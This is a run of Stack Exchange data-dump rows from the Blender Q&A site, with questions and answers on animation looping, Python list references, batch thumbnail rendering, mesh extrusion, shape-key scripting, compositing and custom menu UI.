  <row Id="23264" PostTypeId="2" ParentId="23263" CreationDate="2015-01-15T22:14:04.900" Score="7" Body="&lt;p&gt;Things like fire etc. I loop in post-production, turns out to be the easiest way and fastest. Just render a bigger chunk of the animation, split it in half and switch the halves. The ends are now seamless but in middle is a discontinuity. Overlap those two parts and blend them with opacity and by pixel-warping if needed (visible edges should be pixel-warped). Picking the right moment for blending is crucial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reversing frames and having a ping-pong animation will not work on flags, fire, etc. - That's why it needs to be blended.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-16T09:42:50.300" LastActivityDate="2015-01-16T09:42:50.300" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23265" PostTypeId="2" ParentId="23249" CreationDate="2015-01-15T22:34:12.023" Score="3" Body="&lt;p&gt;Well, first try using an &lt;i&gt; environment &lt;/i&gt; texture instead of a &lt;i&gt; image texture&lt;/i&gt; and then go into the &lt;i&gt; Ray Visibility&lt;/i&gt; panel and turn off the channels you don't want the map to show up in.&#xA;Next, make sure you have a glossy or reflection shader mixed in to your eyeball material so that it can pick up the environment.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2015-01-15T22:34:12.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23266" PostTypeId="2" ParentId="23263" CreationDate="2015-01-15T22:41:55.440" Score="3" Body="&lt;p&gt;Just a thought:  try baking your simulation to frames, assign those frames to an action and then in the Non-linear editor, insert the action twice, reverse one of them and position it so that it slightly overlaps the end of the other-ones time segment.&#xA;The NLE will average the the key frames in the overlap and the ends should be seamless.&#xA;It's sort of the same trick Jerryno described but using the NLE instead of post production.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2015-01-15T22:41:55.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23267" PostTypeId="1" AcceptedAnswerId="23272" CreationDate="2015-01-15T22:57:55.327" Score="1" ViewCount="156" Body="&lt;pre&gt;&lt;code&gt;#initial globalDict entries    &#xA;bge.logic.globalDict[&quot;integer&quot;] = 1&#xA;bge.logic.globalDict[&quot;clist&quot;] = [0, 1]&#xA;&#xA;#variable assignment&#xA;integer = bge.logic.globalDict[&quot;integer&quot;]&#xA;clist = bge.logic.globalDict[&quot;clist&quot;]&#xA;&#xA;#variable modification&#xA;integer = integer +1&#xA;clist.append(2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;br&gt;&#xA;original integer: 1&lt;br&gt;&#xA;manually modified integer: 2&lt;br&gt;&#xA;integer in globalDict: 1&lt;br&gt;&#xA;original clist: [0, 1]&lt;br&gt;&#xA;manually modified clist: [0, 1, 2]&lt;br&gt;&#xA;clist in globalDict: [0, 1, 2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code above shows how changing a different type of variables may or may not change the source of the variable.&lt;br&gt;&#xA;Is there a particular reason for that inconsistency?&lt;br&gt;&#xA;Is there a work-around?&lt;/p&gt;&#xA;" OwnerUserId="8191" LastEditorUserId="2217" LastEditDate="2016-12-27T04:52:24.353" LastActivityDate="2016-12-27T04:52:24.353" Title="In the game engine why do variables link clists from globalDict instead of copying them?" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23268" PostTypeId="2" ParentId="23255" CreationDate="2015-01-15T23:22:03.847" Score="3" Body="&lt;p&gt;Even though you might see an image on texture view, you need to assing a material that uses that texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vVoO9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a material and assign your texture to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ejJEY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-16T00:23:39.390" LastActivityDate="2015-01-16T00:23:39.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23269" PostTypeId="1" CreationDate="2015-01-16T04:14:55.627" Score="7" ViewCount="2054" Body="&lt;p&gt;I got hundreds of old files (some are from 2.4x) that need to generate Preview/thumbnail images with the new Blender version. I think the straightforward way is to open and save each files to generate, which is quite inefficient. So I'm wondering a quicker way to do this automatically. (via a command line or bat file?)&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-08-17T03:04:03.943" Title="Batch generate preview/thumbnail image for old files?" Tags="&lt;blend-files&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23270" PostTypeId="1" CreationDate="2015-01-16T06:11:11.350" Score="3" ViewCount="257" Body="&lt;p&gt;how can a lose vertex &quot;P&quot; be made a part of selected line in &quot;image 2&quot;. So that the mesh act as one entity?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Gqn3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastActivityDate="2015-01-16T18:38:34.060" Title="subdivide at line at the selected location (vertex) of that line?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23271" PostTypeId="2" ParentId="23269" CreationDate="2015-01-16T07:59:51.037" Score="6" Body="&lt;h3&gt;Thumbnail extraction via Python&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The most current thumbnailer is maintained by ideasman42:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dfelinto/blender-git/blob/master/release/bin/blender-thumbnailer.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dfelinto/blender-git/blob/master/release/bin/blender-thumbnailer.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It extracts thumbnail that is stored in a blend file for use with a file manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;code&gt;blender-thumbnailer.py &amp;lt;input.blend&amp;gt; &amp;lt;output.png&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python blender-thumbnailer.py test.blend test.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Batch rendering via command line&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could batch process the .blend files from a .bat file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for %%f in (*.blend) do (&#xA;            blender %%~nf.blend -b -o //%%~nf -F PNG -x 1 -f 1&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also the &lt;a href=&quot;http://www.blender.org/manual/render/workflows/command_line.html&quot; rel=&quot;nofollow&quot;&gt;documentation of command line parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to set a fixed thumbnail size you would (probably) invoke a python script (-P script_name.py) that sets the render size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this size.py (didn't work for me):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;bpy.data.scenes[0].render.resolution_x = 128&#xA;bpy.data.scenes[0].render.resolution_y = 128&#xA;bpy.data.scenes[0].render.resolution_percentage = 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Blenders installation directory is a file &quot;&lt;a href=&quot;http://fossies.org/linux/blender/source/blender/blenlib/intern/winstuff.c&quot; rel=&quot;nofollow&quot;&gt;BlendThumb64.dll&lt;/a&gt;&quot; which is registered during installation or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Blender Foundation\Blender&amp;gt;blender -R&#xA;Registering file extension...success (user)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running as administrator would register .blend for all users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether this is related: In &lt;code&gt;C:\Users\&amp;lt;username&amp;gt;\.thumbnails\normal&lt;/code&gt; and &lt;code&gt;C:\Users\&amp;lt;username&amp;gt;\.thumbnails\fail\blender&lt;/code&gt; you can find created (or failed) thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Load, render and save&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;filepath = bpy.data.filepath&#xA;directory = os.path.dirname(filepath)&#xA;image_path = os.path.join( directory , &quot;image.png&quot;)&#xA;bpy.data.scenes['Scene'].render.filepath = image_path&#xA;bpy.ops.render.render( write_still=True ) &#xA;print(&quot;file %s&quot; % filepath )&#xA;bpy.ops.wm.save_as_mainfile(filepath=filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;blender -b test.blend -P save.py (above script, didn't recreate the embedded thumbnail)&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2015-08-17T03:04:03.943" LastActivityDate="2015-08-17T03:04:03.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23272" PostTypeId="2" ParentId="23267" CreationDate="2015-01-16T08:13:04.053" Score="3" Body="&lt;pre&gt;&lt;code&gt;this_is_a_list = [0,1,2,3,4]&#xA;this_points_to_the_same_data = this_is_a_list&#xA;this_copies_an_item_from_the_list = this_is_a_list[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A list (or array, dictionary, object...) is a composite type that may contain thousands of items and could consume a GB of ram, assigning a composite type to a new variable only assigns a value that points to the same data as the original variable. You need to manually copy the entire item if that is what you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also help to understand that &lt;code&gt;this_is_a_list&lt;/code&gt; is only a pointer or reference to where the data is stored in ram, the &lt;code&gt;[]&lt;/code&gt; is used to specify which part of the ram used by the object you wish to read. So using &lt;code&gt;=&lt;/code&gt; is assigning the same reference to the new variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mostly a performance decision (it is the way python works not just blender), a single number consumes a similar amount (dependant on the number and 32/64 bit system being used) of ram as a pointer to a large composite data type. These values can easily be passed between functions within the cpu without any performance penalty. Copying an entire compound data type can consume large amounts of ram and take seconds to copy, so is not performed unless you specifically want to copy the entire thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a full copy you can use copy()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this_copies_the_entire_list = this_is_a_list.copy()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;copy()&lt;/code&gt; is useful as it can be used for lists and dictionaries. For lists you can also copy them with &lt;code&gt;blist = alist[:]&lt;/code&gt; or &lt;code&gt;blist = [x for x in alist]&lt;/code&gt; which also allows you to add an &lt;code&gt;if&lt;/code&gt; test to copy part of the list.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-16T08:13:04.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23274" PostTypeId="1" CreationDate="2015-01-16T09:03:40.107" Score="5" ViewCount="1792" Body="&lt;p&gt;Why is it that when I extrude individual faces, I am getting border with a discontinued profile at the corners (see picture)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make the border continuous with uniform thickness around a given object &quot;P&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QrHZ6.png&quot; alt=&quot;Extrude menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4nc7.png&quot; alt=&quot;Result with problems at A&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastEditorUserId="5705" LastEditDate="2015-01-16T22:51:19.753" LastActivityDate="2015-01-16T22:51:19.753" Title="How to achieve uniform thickness with no breaks when extruding faces?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23275" PostTypeId="2" ParentId="23228" CreationDate="2015-01-16T09:07:20.200" Score="2" Body="&lt;p&gt;When you are opening .blend file, then you have to also enable &quot;Trusted source&quot; option. See it in following image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w2FA5.png&quot; alt=&quot;Option of opening blend file with python script&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not enabled by default, because there are security reason for that. You can do very bad thing with Python (delete files on your disk, send spam, etc.)&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2015-01-16T09:07:20.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23276" PostTypeId="2" ParentId="23245" CreationDate="2015-01-16T10:14:05.523" Score="3" Body="&lt;p&gt;First point would be that &lt;code&gt;shape_key_add(from_mix=True)&lt;/code&gt; will copy the shape key as it is, you may want to be sure that the shapekey is in effect when you copy it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.active_shape_key.value = obj.active_shape_key.slider_max&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than changing the active shapekey for each step, get the index of each as you create them and use that when adjusting the copy. The new shapekey will be added to the end of the list so it's index will be &lt;code&gt;len(key_blocks)-1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the key point -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.x &#xA;  = obj.active_shape_key.data[vert.index].co.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you set &lt;code&gt;obj.active_shape_key_index&lt;/code&gt; then you copy &lt;code&gt;active_shape_key.data[vert.index]&lt;/code&gt; into &lt;code&gt;key_blocks[shape_name].data[vert.index]&lt;/code&gt; that is two ways to the same data. I would suggest setting the unwanted locations to the Basis shapekey locations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.data.shape_keys.key_blocks[xshape_idx].data[vert.index].co.x &#xA;  = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I finished up with -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;context = bpy.context&#xA;scene = context.scene&#xA;obj = context.object&#xA;shape_name = obj.active_shape_key.name&#xA;&#xA;## enable shapekey before copying&#xA;skey_value = obj.active_shape_key.value&#xA;obj.active_shape_key.value = obj.active_shape_key.slider_max&#xA;&#xA;obj.shape_key_add(name=str(shape_name) + &quot;_X&quot;, from_mix=True)&#xA;xshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;obj.shape_key_add(name=str(shape_name) + &quot;_Y&quot;, from_mix=True)&#xA;yshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;obj.shape_key_add(name=str(shape_name) + &quot;_Z&quot;, from_mix=True)&#xA;zshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;&#xA;## reset shapekey&#xA;obj.active_shape_key.value = skey_value&#xA;&#xA;for vert in obj.data.vertices: #Isolate the translation on the X axis&#xA;    obj.data.shape_keys.key_blocks[xshape_idx].data[vert.index].co.y = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.y&#xA;    obj.data.shape_keys.key_blocks[xshape_idx].data[vert.index].co.z = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.z&#xA;&#xA;for vert in obj.data.vertices: #Isolate the translation on the Y axis&#xA;    obj.data.shape_keys.key_blocks[yshape_idx].data[vert.index].co.x = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.x&#xA;    obj.data.shape_keys.key_blocks[yshape_idx].data[vert.index].co.z = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.z&#xA;&#xA;for vert in obj.data.vertices: #Isolate the translation on the Z axis&#xA;    obj.data.shape_keys.key_blocks[zshape_idx].data[vert.index].co.x = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.x&#xA;    obj.data.shape_keys.key_blocks[zshape_idx].data[vert.index].co.y = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-16T10:14:05.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23277" PostTypeId="2" ParentId="23260" CreationDate="2015-01-16T10:34:14.077" Score="4" Body="&lt;p&gt;Make sure you have the same versions on each computer, otherwise bugs will occur due to properties that are not imported in earlier versions.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2015-02-21T07:00:29.483" LastActivityDate="2015-02-21T07:00:29.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23279" PostTypeId="2" ParentId="23274" CreationDate="2015-01-16T12:26:48.410" Score="6" Body="&lt;p&gt;If you extrude individual faces these faces will not be connected anymore. This is why you get discontinuities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude your faces by pressing &lt;kbd&gt;E&lt;/kbd&gt; instead (this is equal to &lt;code&gt;Extrude and Move on Normal&lt;/code&gt;). Then immediatly press &lt;kbd&gt;Rmb&lt;/kbd&gt; or &lt;kbd&gt;Esc&lt;/kbd&gt; to cancel the translation. now the extruded faces should be at the same location as the previous faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get walls with an even thickness use &lt;code&gt;Shrink/Fatten&lt;/code&gt; by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;. By moving your mouse you can change the thickness of your walls. To get even thickness independent of corner angles hold down the &lt;kbd&gt;Alt&lt;/kbd&gt; key while moving the mouse. If you are satisfied press &lt;kbd&gt;Lmb&lt;/kbd&gt; to apply the tranformation.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-16T12:26:48.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23280" PostTypeId="2" ParentId="23223" CreationDate="2015-01-16T12:50:31.750" Score="7" Body="&lt;p&gt;The biggest problem I see here is that the softbody algorithms in the game engine are not physically correct, they are only made to look plausible and be fast. Especially the stiffness of softbodies depends on the mesh resolution: higher subdivision results in less stiffness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A setup that looks fine for paper is a plane with just a few subdivisions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5bjF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the following Softbody settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7THoZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you disable &lt;code&gt;Shape Match&lt;/code&gt; since this seems not to work with flat objects. Also make sure &lt;code&gt;Bending Constraints&lt;/code&gt; are enabled. Otherwise the paper can just fold along the edges with no resistance. Also increase the &lt;code&gt;Margin&lt;/code&gt; so that collisions will be detected correctly. Be aware however that this will make your paper float slightly above the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the resulting paper looks like when falling onto the ground:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tfX2B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that is still missing however is air drag. Maybe you can simulate that using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators/Constraint&quot; rel=&quot;noreferrer&quot;&gt;Force field constraint actuator&lt;/a&gt; but I have not found out how they work yet.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2015-01-16T13:03:29.673" LastActivityDate="2015-01-16T13:03:29.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23281" PostTypeId="1" AcceptedAnswerId="23291" CreationDate="2015-01-16T13:37:50.790" Score="5" ViewCount="2241" Body="&lt;p&gt;I want to disable and enable menu items (layout.operator) in my custom menu, the disabled ones should be displayed greyed. I managed to disable the whole menu with layout.enabled = False, but I failed to disable a single menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something similar what I want to achieve can be seen in the &quot;Ui Menu&quot; Python template with the entry &quot;Hello world!&quot;, but this is a layout.label and not a layout.operator. Before I use this approach as workaround I'd like to know if there is a more easy way to dis- or enable single menu items.&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2015-01-16T17:29:18.443" Title="Is it possible to disable menu items in custom menus?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23282" PostTypeId="2" ParentId="3421" CreationDate="2015-01-16T13:57:58.110" Score="3" Body="&lt;p&gt;I was seeking for the same topic and I found a solution better than the &quot;Make Duplicates Real&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script/addon Copy Particles to Rigid Bodies does exactly what you want. Here you have the script and a test scene with easy instructions in it: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?279329-Copy-Particles-to-Rigid-Bodies&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?279329-Copy-Particles-to-Rigid-Bodies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9482" LastActivityDate="2015-01-16T13:57:58.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23283" PostTypeId="2" ParentId="23183" CreationDate="2015-01-16T14:47:26.000" Score="7" Body="&lt;p&gt;I found a way to do this using translucency and some node tricks to make the tube emit light when it is under the ball, it isn't perfect but it works fairly well.&lt;/p&gt;&#xA;&lt;p&gt;First give the ball a pure white &lt;em&gt;transparent&lt;/em&gt; shader mixed with a &lt;em&gt;translucent&lt;/em&gt; shader based on the &lt;em&gt;is camera ray&lt;/em&gt; output of the &lt;em&gt;light path&lt;/em&gt; node:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GG3N8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;This will make the ball invisible to everything but the camera, this isn't necessary but will reduce noise, artifacts, and rendering time.&lt;/p&gt;&#xA;&lt;p&gt;Next give the tubes a &lt;em&gt;diffuse&lt;/em&gt; shader mixed with an &lt;em&gt;emission&lt;/em&gt; shader (with a very high strength) based on the &lt;em&gt;is transmission ray&lt;/em&gt; output of the &lt;em&gt;light path&lt;/em&gt; node and plug the vertex colors into both the diffuse and emission shaders:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YmwKr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;This will make the tube emit light when a ray is traveling through an object (such as a translucent object), but the tube will look like normal (the diffuse shader) elsewhere.&lt;/p&gt;&#xA;&lt;h3&gt;This is the result:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wmqtB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pMIag.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oCYZT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-20T20:18:51.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23284" PostTypeId="2" ParentId="23270" CreationDate="2015-01-16T15:14:09.597" Score="1" Body="&lt;p&gt;Here is how I accomplish this when I am modeling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, select the edge you want the vertex to be added to.  Then hit &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;subdivide&lt;/em&gt;.  This will add a new vertex on the edge, then select both the new vertex &lt;em&gt;and then&lt;/em&gt; the original one (making sure to select them in that order) and hit &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt; &gt; &lt;em&gt;at last&lt;/em&gt;.  This will merge the two vertices to the location where the original vertex was.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-16T15:14:09.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23285" PostTypeId="2" ParentId="21512" CreationDate="2015-01-16T15:21:04.570" Score="1" Body="&lt;p&gt;Ok, unfortunately @Jerryno solution didn't work so I ended up trying something else.&#xA;I successfully made it wok by triggering the animation with &lt;code&gt;bpy.ops.screen.animation_play()&lt;/code&gt; in the &lt;code&gt;__init__&lt;/code&gt; function, then doing my action in the modal function and finally stop the animation when 'ESC' is entered or the action is finished (in the &lt;code&gt;__del__&lt;/code&gt; function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The handler is added in an &lt;code&gt;invoke&lt;/code&gt; function running modal.&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2015-01-16T15:21:04.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23286" PostTypeId="1" CreationDate="2015-01-16T15:27:13.753" Score="6" ViewCount="558" Body="&lt;p&gt;Is it possible to playblast (openGL render) the quad view? In quad view if I launch playblast, only 1 of the views is rendered. Am I missing something for it to work (like an option in the user preferences)?&lt;/p&gt;&#xA;" OwnerUserId="6039" LastEditorUserId="6039" LastEditDate="2015-01-16T16:08:07.947" LastActivityDate="2015-02-25T11:53:11.847" Title="Can I OpenGL render a quad view?" Tags="&lt;3d-view&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23287" PostTypeId="1" AcceptedAnswerId="23288" CreationDate="2015-01-16T15:58:53.943" Score="5" ViewCount="913" Body="&lt;p&gt;How I can subtract a blurry alpha channel from another alpha channel in the compositor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMWwIm.png&quot; alt=&quot;First alpha channel&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;First alpha channel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3vQm0m.png&quot; alt=&quot;Second alpha channel&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Second alpha channel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gi4rPm.png&quot; alt=&quot;final result&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Desired result&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="2217" LastEditDate="2015-01-16T16:15:54.297" LastActivityDate="2015-01-16T16:15:54.297" Title="How to subtract alpha channel from another alpha channel?" Tags="&lt;compositor&gt;&lt;transparency&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23288" PostTypeId="2" ParentId="23287" CreationDate="2015-01-16T16:02:45.370" Score="7" Body="&lt;p&gt;You need nothing more then a &lt;em&gt;Mix&lt;/em&gt; node set to &lt;em&gt;Subtract&lt;/em&gt; with a factor of one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To replicate your bottom image, plug your first image in to the first socket on the mix node, and the blurry image into the second socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gTmbc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="3710" LastEditDate="2015-01-16T16:09:46.390" LastActivityDate="2015-01-16T16:09:46.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23290" PostTypeId="2" ParentId="23281" CreationDate="2015-01-16T16:53:09.287" Score="3" Body="&lt;p&gt;If you want specific GUI elements to be disabled, set corresponding &lt;code&gt;row.enable&lt;/code&gt; or &lt;code&gt;column.enable&lt;/code&gt; to False:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row = layout.row()&#xA;row.operator(&quot;something&quot;)&#xA;# maybe more row stuff here&#xA;row.enable = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want this build in into the operator itself, include the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.Operator.html?highlight=operator.poll#bpy.types.Operator.poll&quot; rel=&quot;nofollow&quot;&gt;poll&lt;/a&gt; method. This will grey it in the UI and also be safe when the user calls the operator from search (spacebar) for example!&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-16T16:53:09.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
